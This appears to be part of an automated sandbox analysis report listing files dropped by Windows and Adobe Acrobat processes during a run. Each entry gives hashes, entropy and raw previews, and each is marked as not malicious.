Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x3e531688, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555757482832962
Encrypted:	false
SSDEEP:	1536:NSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:NazaSvGJzYj2UlmOlOL
MD5:	BD578F75B46A431CA5E744D196D02DF4
SHA1:	FD820CB6BE85C3F62AD04737507C8741E4912AE7
SHA-256:	40489EB16A012728D21339EE0886049A2C85416105BCEC13B4006A44466FA726
SHA-512:	4D7EA10D2FCA4A50343A36D08F749D7B46A016A8213BAED6CBEA1FE0D210228406389787DB551E52EB96242B126428A615289BFEA07494F52A7FC57DB007AE78
Malicious:	false
Preview:	>S..... .......7.......X\...;...{......................0.e......!...{?......}Q.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................E........}q.................du.......}Q..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	frozen file 2.1
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07952091379278572
Encrypted:	false
SSDEEP:	3:RHWEYeOpkGefNaAPaU1lfgWkdtalluxmO+l/SNxOf:hNzSENDPaU3zgmOH
MD5:	0EA2AC1F2551DEFFAB25089F48BC1417
SHA1:	7D98E4170F35DE820468326DC3743962E8FD7A3A
SHA-256:	2F88804776E01398CEAAEA1039D5115985BAF4AC963C1B056E5D7A026FA18331
SHA-512:	B260DE89D3DE20966FBA7FE61151861D709CE3309B85DD9DE4C141835298CEF19EBEB7CB6C1275E2D7EEA89A302E47C003E476B0B49E845F864AA68E77ED3AA8
Malicious:	false
Preview:	..b......................................;...{.......}Q..!...{?..........!...{?..!...{?..g...!...{?.................du.......}Q.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.110435877546848
Encrypted:	false
SSDEEP:	6:iO4Mq2PN72nKuAl9OmbnIFUtS0ZZmws0zkwON72nKuAl9OmbjLJ:7LvVaHAahFUtp/F5OaHAaSJ
MD5:	15F6B950E73BDF30BF3CA51E46FADECA
SHA1:	0FDCA24F0DEFF1FD79239CAE3C7B3B6C251366C5
SHA-256:	F9825FC5B6DCCFBC0888CC9BAC2B685C40DAD4F1155E29F730FE580FB79B8BF2
SHA-512:	FD18707BFA15A16C6868620A39DF53D8DE8F9CBEDB4B0B68A0203EFF3585563AAF92BA02F78DAB7A5FD94BDFC00B7613FCFBC575C064651F85E7E67558718B1A
Malicious:	false
Preview:	2025/01/10-12:05:28.648 1cc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:05:28.650 1cc0 Recovering log #3.2025/01/10-12:05:28.650 1cc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.110435877546848
Encrypted:	false
SSDEEP:	6:iO4Mq2PN72nKuAl9OmbnIFUtS0ZZmws0zkwON72nKuAl9OmbjLJ:7LvVaHAahFUtp/F5OaHAaSJ
MD5:	15F6B950E73BDF30BF3CA51E46FADECA
SHA1:	0FDCA24F0DEFF1FD79239CAE3C7B3B6C251366C5
SHA-256:	F9825FC5B6DCCFBC0888CC9BAC2B685C40DAD4F1155E29F730FE580FB79B8BF2
SHA-512:	FD18707BFA15A16C6868620A39DF53D8DE8F9CBEDB4B0B68A0203EFF3585563AAF92BA02F78DAB7A5FD94BDFC00B7613FCFBC575C064651F85E7E67558718B1A
Malicious:	false
Preview:	2025/01/10-12:05:28.648 1cc0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:05:28.650 1cc0 Recovering log #3.2025/01/10-12:05:28.650 1cc0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.17381993832251
Encrypted:	false
SSDEEP:	6:iO4fipyq2PN72nKuAl9Ombzo2jMGIFUtSfH51ZmwsfcRkwON72nKuAl9Ombzo2jz:71yvVaHAa8uFUtuz/DR5OaHAa8RJ
MD5:	3A078B288088FB64F1ACB3DF6675C081
SHA1:	AD1CB8D36E365ECF38363CACC82019C38F322298
SHA-256:	D474BB46C613F2FDAC1A4CB09F5870E77427E50E959BF4DC0ADAE1E730192C67
SHA-512:	2326D19364A5675ACBFF262AB55DD87E98F1E489297EEEC3DAB5976FDBEA8B062265C03847E442B0ECFE3C6C3234BDD1539CB6E761F9C455EB2F35951000A302
Malicious:	false
Preview:	2025/01/10-12:05:28.787 1d54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:05:28.788 1d54 Recovering log #3.2025/01/10-12:05:28.789 1d54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.17381993832251
Encrypted:	false
SSDEEP:	6:iO4fipyq2PN72nKuAl9Ombzo2jMGIFUtSfH51ZmwsfcRkwON72nKuAl9Ombzo2jz:71yvVaHAa8uFUtuz/DR5OaHAa8RJ
MD5:	3A078B288088FB64F1ACB3DF6675C081
SHA1:	AD1CB8D36E365ECF38363CACC82019C38F322298
SHA-256:	D474BB46C613F2FDAC1A4CB09F5870E77427E50E959BF4DC0ADAE1E730192C67
SHA-512:	2326D19364A5675ACBFF262AB55DD87E98F1E489297EEEC3DAB5976FDBEA8B062265C03847E442B0ECFE3C6C3234BDD1539CB6E761F9C455EB2F35951000A302
Malicious:	false
Preview:	2025/01/10-12:05:28.787 1d54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:05:28.788 1d54 Recovering log #3.2025/01/10-12:05:28.789 1d54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.961862943263477
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYsBdOg2HDcaq3QYiubcP7E4T3y:Y2sRdsIdMH63QYhbA7nby
MD5:	4DB2DBA8F7B9C0C4C1205C1B3471FD72
SHA1:	A851B00819CD01570676DD240C20425C5E35EF59
SHA-256:	FD8D57703CFC5180E2CA77755244EEBFD5B1037FB438639444B080E906AA0301
SHA-512:	504AB3ECF4A022EFA697C9560053E03537596ED264A0CFC11177A5709C7EBB00F132F063DA831C27FE2D041DB3388A3C3DD1D389BA04DEC5187D56ADE0ECC9CB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088740703335","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141388},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f9725197-4192-4be4-8b8e-39f27700fb4b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961862943263477
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYsBdOg2HDcaq3QYiubcP7E4T3y:Y2sRdsIdMH63QYhbA7nby
MD5:	4DB2DBA8F7B9C0C4C1205C1B3471FD72
SHA1:	A851B00819CD01570676DD240C20425C5E35EF59
SHA-256:	FD8D57703CFC5180E2CA77755244EEBFD5B1037FB438639444B080E906AA0301
SHA-512:	504AB3ECF4A022EFA697C9560053E03537596ED264A0CFC11177A5709C7EBB00F132F063DA831C27FE2D041DB3388A3C3DD1D389BA04DEC5187D56ADE0ECC9CB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088740703335","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141388},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.249126157854291
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7Sq4:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhO
MD5:	BD5288796CAD3C116F55E5FA61068E79
SHA1:	0AF72BD308A6E635E84EEE333798809781FC0B07
SHA-256:	9F990EA9412BF4B3438563B7A70126BE469239A887F0EE3810E4509DFC096EA5
SHA-512:	0E763750261BD784DBEA3A9DE356CA4F8599948719A3C43D8E9FF6E775EBADA50724429A70F20CF3466DDF9756946F296940BAA88FB5A9B2746F853CB7A4E5AE
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.165268839031855
Encrypted:	false
SSDEEP:	6:iO4bSuBEjyq2PN72nKuAl9OmbzNMxIFUtSb0m/1Zmwsbc/pRkwON72nKuAl9Ombg:7zueyvVaHAa8jFUti9/hpR5OaHAa84J
MD5:	F2944D6228BE6A3F1E9413A5B3172679
SHA1:	07D0BB5A15037C066EF0A4AD1806AE2EF21BFB09
SHA-256:	B6631A2E155E8AC375744AB7A6719B4E20831D2F10F37A80D8AF9627A10ECF44
SHA-512:	C7BF32E44B5730E194EF23DAD0386545E51928965F0E453361EF8ACD5060BDF7629901657395F2BCC597284C2E58C71FABC9ED2BB144AC0383DC37EC68B81428
Malicious:	false
Preview:	2025/01/10-12:05:28.927 1d54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:05:28.928 1d54 Recovering log #3.2025/01/10-12:05:28.929 1d54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.165268839031855
Encrypted:	false
SSDEEP:	6:iO4bSuBEjyq2PN72nKuAl9OmbzNMxIFUtSb0m/1Zmwsbc/pRkwON72nKuAl9Ombg:7zueyvVaHAa8jFUti9/hpR5OaHAa84J
MD5:	F2944D6228BE6A3F1E9413A5B3172679
SHA1:	07D0BB5A15037C066EF0A4AD1806AE2EF21BFB09
SHA-256:	B6631A2E155E8AC375744AB7A6719B4E20831D2F10F37A80D8AF9627A10ECF44
SHA-512:	C7BF32E44B5730E194EF23DAD0386545E51928965F0E453361EF8ACD5060BDF7629901657395F2BCC597284C2E58C71FABC9ED2BB144AC0383DC37EC68B81428
Malicious:	false
Preview:	2025/01/10-12:05:28.927 1d54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:05:28.928 1d54 Recovering log #3.2025/01/10-12:05:28.929 1d54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444414967178719
Encrypted:	false
SSDEEP:	384:SeOci5tliBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:yOs3OazzU89UTTgUL
MD5:	DBC84916219F25705CEC9BA50778A3E2
SHA1:	A29A082EB8CA807EC317DFB6C354BD261B7969B3
SHA-256:	D4ED27171CEF881591001D55EFA107F08CF9C18F4FC239213EE065B8CC2B6DEA
SHA-512:	578AF1A3AA767454BB21A1AA0EB593A5CDF7807E0FDE512341C586627B11FD3BCE7456D2CA439BBE3851D909403FF55D6B6AD03F3CA5D2DC4ED90DB63BAAB9AC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2133338170338583
Encrypted:	false
SSDEEP:	24:7+tPYnuwK4vqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9V:7MwnCAqPmFTIF3XmHjBoGGR+jMz+Lh7
MD5:	91F3D9FC614BFD66DAB862660A2BE3C9
SHA1:	6689CA1060485A107AD79F5A116553780385A48A
SHA-256:	3F42266C4A693E86D11D586AFBD961F7478CCBCB8A7BCD004F47BBD323ECFC19
SHA-512:	6E9827C419DCAAA5C184AA0620694887CF1E833EAAF2DA293B7162934DE691E4170F594AFC1FE496A92663D32B590D4EC60009A8DCD59C8B5E9890CD16F07B02
Malicious:	false
Preview:	.... .c......?.a........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7503974515083134
Encrypted:	false
SSDEEP:	3:kkFklU+eKNttfllXlE/HT8kmh1NNX8RolJuRdxLlGB9lQRYwpDdt:kKN+BPeT8X7NMa8RdWBwRd
MD5:	3189DA2AF014C8589EC5B5FA4CF1539B
SHA1:	226F1C3F6A672373D4632D3DCB7C39E8DB9B29AC
SHA-256:	FD389822FDBEC91603C91CF6852571E69A4E6C03261682396D339BB234CA27FB
SHA-512:	7CCC0A727961F9FB98DA12B5084F7BA78E2E8D1D483A848F2EB2CCC942E532BE529638AFF9C43AF487192A320C9F330FE7620712C105693DDC66AFA1464525D3
Malicious:	false
Preview:	p...... ........g....c..(....................................................... ..........W...."...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7064

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7064

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
